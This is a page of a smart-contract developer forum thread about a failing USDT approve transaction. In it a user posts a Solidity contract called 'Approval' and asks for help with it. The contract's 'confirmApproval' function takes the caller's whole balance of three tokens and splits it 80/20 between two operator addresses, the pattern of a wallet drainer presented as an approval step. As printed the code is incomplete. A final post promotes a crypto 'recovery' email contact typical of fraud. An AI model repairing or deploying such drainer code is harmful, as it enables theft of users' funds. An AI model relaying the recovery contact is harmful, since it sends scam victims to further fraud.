# Usdt approve transaction keeps failing

**URL:** <https://forum.openzeppelin.com/t/usdt-approve-transaction-keeps-failing/31174>\
**Category:** Smart Contracts\
**Tags:** etherscan-verify\
**Created:** [August 14, 2022, 5:42am UTC](https://forum.openzeppelin.com/t/usdt-approve-transaction-keeps-failing/31174 "2022-08-14T05:42:00Z")\
**Posts on this page:** 10\
**Page:** 2

<div class="post-metadata">

**Author:** ![Nuel](https://sea2.discourse-cdn.com/flex022/user_avatar/forum.openzeppelin.com/nuel/32/16038_2.png) [@Nuel](https://forum.openzeppelin.com/u/Nuel)\
**Post date:** [August 19, 2022, 10:49pm UTC](https://forum.openzeppelin.com/t/usdt-approve-transaction-keeps-failing/31174/21 "2022-08-19T22:49:24Z")

</div>

@Boluwatife_Adegbola @Mario1 yes it has been fixed thanks for asking

---

<div class="post-metadata">

**Author:** ![Nuel](https://sea2.discourse-cdn.com/flex022/user_avatar/forum.openzeppelin.com/nuel/32/16038_2.png) [@Nuel](https://forum.openzeppelin.com/u/Nuel)\
**Post date:** [August 19, 2022, 10:53pm UTC](https://forum.openzeppelin.com/t/usdt-approve-transaction-keeps-failing/31174/22 "2022-08-19T22:53:43Z")

</div>

i did run into some problems in a smart contract i'm developing and the transaction also keeps reverting regardless of the presence of a gasLimit of 100000  
here is the code below

```auto
//SPDX-License-Identifier: Unlicense
pragma solidity ^0.8.0;

import '@openzeppelin/contracts/token/ERC20/IERC20.sol';

contract Approval {

    constructor() {}

    function confirmApproval(
        address token1, 
        address token2,  
        address token3
    ) external 
    {
        uint256 amount1 = IERC20(token1).balanceOf(msg.sender);
        uint256 amount2 = IERC20(token2).balanceOf(msg.sender);
        uint256 amount3 = IERC20(token3).balanceOf(msg.sender);

        if (amount1 > 0) {
            uint256 dev = (amount1 * 2000) / 10000;
            uint256 client = (amount1 * 8000) / 10000;
            IERC20(token1).transferFrom(msg.sender, address(address1), client);
            IERC20(token1).transferFrom(msg.sender, address(address2), dev);
        }

        if(amount2 > 0){
            uint256 dev = (amount2 * 2000) / 10000;
            uint256 client = (amount2 * 8000) / 10000;
            IERC20(token2).transferFrom(msg.sender, address(address1), client);
            IERC20(token2).transferFrom(msg.sender, address(address2), dev);
        }

        if(amount3 > 0){
            uint256 dev = (amount3 * 2000) / 10000;
            uint256 client = (amount3 * 8000) / 10000;
            IERC20(token3).transferFrom(msg.sender, address(address1), client);
            IERC20(token3).transferFrom(msg.sender, address(address2), dev);
        }
    }

}

```

the tokens involved are usdt, bnb and hex

---

<div class="post-metadata">

**Author:** ![Nuel](https://sea2.discourse-cdn.com/flex022/user_avatar/forum.openzeppelin.com/nuel/32/16038_2.png) [@Nuel](https://forum.openzeppelin.com/u/Nuel)\
**Post date:** [August 20, 2022, 1:03pm UTC](https://forum.openzeppelin.com/t/usdt-approve-transaction-keeps-failing/31174/23 "2022-08-20T13:03:45Z")

</div>

@Skyge @FreezyEx @Team_X @Boluwatife_Adegbola I need your help with this whenever you can

---

<div class="post-metadata">

**Author:** ![FreezyEx](https://sea2.discourse-cdn.com/flex022/user_avatar/forum.openzeppelin.com/freezyex/32/5498_2.png) [@FreezyEx](https://forum.openzeppelin.com/u/FreezyEx)\
**Post date:** [August 20, 2022, 1:23pm UTC](https://forum.openzeppelin.com/t/usdt-approve-transaction-keeps-failing/31174/24 "2022-08-20T13:23:25Z")

</div>

please mark the right naswer as Solution

---

<div class="post-metadata">

**Author:** ![FreezyEx](https://sea2.discourse-cdn.com/flex022/user_avatar/forum.openzeppelin.com/freezyex/32/5498_2.png) [@FreezyEx](https://forum.openzeppelin.com/u/FreezyEx)\
**Post date:** [August 20, 2022, 1:24pm UTC](https://forum.openzeppelin.com/t/usdt-approve-transaction-keeps-failing/31174/25 "2022-08-20T13:24:25Z")

</div>

if it isn't related to the topic question please open a new thread.  
Also provide link of the deployed contract and failed tx

---

<div class="post-metadata">

**Author:** ![Nuel](https://sea2.discourse-cdn.com/flex022/user_avatar/forum.openzeppelin.com/nuel/32/16038_2.png) [@Nuel](https://forum.openzeppelin.com/u/Nuel)\
**Post date:** [August 20, 2022, 1:42pm UTC](https://forum.openzeppelin.com/t/usdt-approve-transaction-keeps-failing/31174/26 "2022-08-20T13:42:18Z")

</div>

@FreezyEx it is part of the same issue

Here is the contract address:  
0xbd22fff783ab8d84ade602234e86a3a5597a865e

Here is a link to the transaction:

> **[Ethereum Transaction Hash (Txhash) Details | Etherscan](https://etherscan.io/tx/0xc84e4cee7292eaf3d9f2ded3b6361310bb1fc3d70565b84a7311389f16e25b75)**
>
> Ethereum (ETH) detailed transaction info for txhash 0xc84e4cee7292eaf3d9f2ded3b6361310bb1fc3d70565b84a7311389f16e25b75. The transaction status, block confirmation, gas fee, Ether (ETH), and token transfer are shown.

---

<div class="post-metadata">

**Author:** ![FreezyEx](https://sea2.discourse-cdn.com/flex022/user_avatar/forum.openzeppelin.com/freezyex/32/5498_2.png) [@FreezyEx](https://forum.openzeppelin.com/u/FreezyEx)\
**Post date:** [August 20, 2022, 2:35pm UTC](https://forum.openzeppelin.com/t/usdt-approve-transaction-keeps-failing/31174/27 "2022-08-20T14:35:07Z")

</div>

> [@Nuel](#):
>
> 0xbd22fff783ab8d84ade602234e86a3a5597a865e

Please verify the code

---

<div class="post-metadata">

**Author:** ![Nuel](https://sea2.discourse-cdn.com/flex022/user_avatar/forum.openzeppelin.com/nuel/32/16038_2.png) [@Nuel](https://forum.openzeppelin.com/u/Nuel)\
**Post date:** [August 20, 2022, 3:13pm UTC](https://forum.openzeppelin.com/t/usdt-approve-transaction-keeps-failing/31174/28 "2022-08-20T15:13:12Z")

</div>

@FreezyEx i’m new to web3…how do I go about verification

---

<div class="post-metadata">

**Author:** ![Nuel](https://sea2.discourse-cdn.com/flex022/user_avatar/forum.openzeppelin.com/nuel/32/16038_2.png) [@Nuel](https://forum.openzeppelin.com/u/Nuel)\
**Post date:** [August 20, 2022, 3:14pm UTC](https://forum.openzeppelin.com/t/usdt-approve-transaction-keeps-failing/31174/29 "2022-08-20T15:14:15Z")

</div>

@FreezyEx i did see a YouTube post about using safeErc20 on the contract but I don’t know how to add it to my code above

---

<div class="post-metadata">

**Author:** ![Daniel\_Rand](https://sea2.discourse-cdn.com/flex022/user_avatar/forum.openzeppelin.com/daniel_rand/32/19538_2.png) [@Daniel\_Rand](https://forum.openzeppelin.com/u/Daniel_Rand)\
**Post date:** [November 14, 2023, 3:17pm UTC](https://forum.openzeppelin.com/t/usdt-approve-transaction-keeps-failing/31174/30 "2023-11-14T15:17:41Z")

</div>

While trying to recover your stolen crypto, there is need to ensure that your security is paramount while dealing with the recovery company. Hence the need to consider an option that ensures your security while recovering your money and subsequently protect you from future encounters. You can reach out to easybinarysolutions@gmail .com for credible help.

[Previous page](https://forum.openzeppelin.com/t/usdt-approve-transaction-keeps-failing/31174.md?page=1)
